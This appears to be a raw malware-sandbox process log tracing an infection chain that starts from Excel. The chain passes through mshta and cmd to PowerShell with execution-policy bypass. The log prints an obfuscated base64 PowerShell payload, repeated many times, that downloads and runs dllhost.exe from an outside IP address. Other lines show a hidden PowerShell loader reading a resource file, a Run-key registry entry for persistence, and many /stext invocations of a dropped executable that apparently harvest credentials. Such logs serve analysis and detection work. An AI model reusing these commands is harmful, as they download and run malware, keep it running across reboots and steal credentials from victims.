iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA499.tmp" "c:\Users\user\AppData\Local\Temp\sm41lsyu\CSCE0CED41DA99B458392766F6BC82F0D5.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF72C.tmp" "c:\Users\user\AppData\Local\Temp\r4gn3nq1\CSCA7279739985342FFA8B6946FD4222CB8.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe "C:\Users\user\AppData\Local\Temp\Vaccinerende.exe"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe "C:\Users\user\AppData\Local\Temp\Vaccinerende.exe"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\uufpqcznfpbrpkbrchvwvbbgmplrtlta"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\wwta"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\hrysrnv"
Source: unknown Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Frligheden)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\jypyihgkg"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\tsdrjareurci"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\wvibksbfizuvagm"
Source: unknown Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Frligheden)
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\iwmakfxbvkkvnuhajheo"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\krsslxicrscipavesrrqbfdw"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\vtxdlqtwfaunaojibclrekqfvdn"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\myrqksteqvbcbpuimnlztpdvy"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\xtwidkeyedthlwimexyaecymzxube"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\zvbbddpzsllmnceqnitchhsvidlcgnnv"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\jghbahqihjysxfkijlbzkstdovyth"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\tamubzacvrqfilguawnanwnuwchuixxt"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\dcam"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\ctsuyeuksgddrommozvfphobcmulr"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA499.tmp" "c:\Users\user\AppData\Local\Temp\sm41lsyu\CSCE0CED41DA99B458392766F6BC82F0D5.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe "C:\Users\user\AppData\Local\Temp\Vaccinerende.exe" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
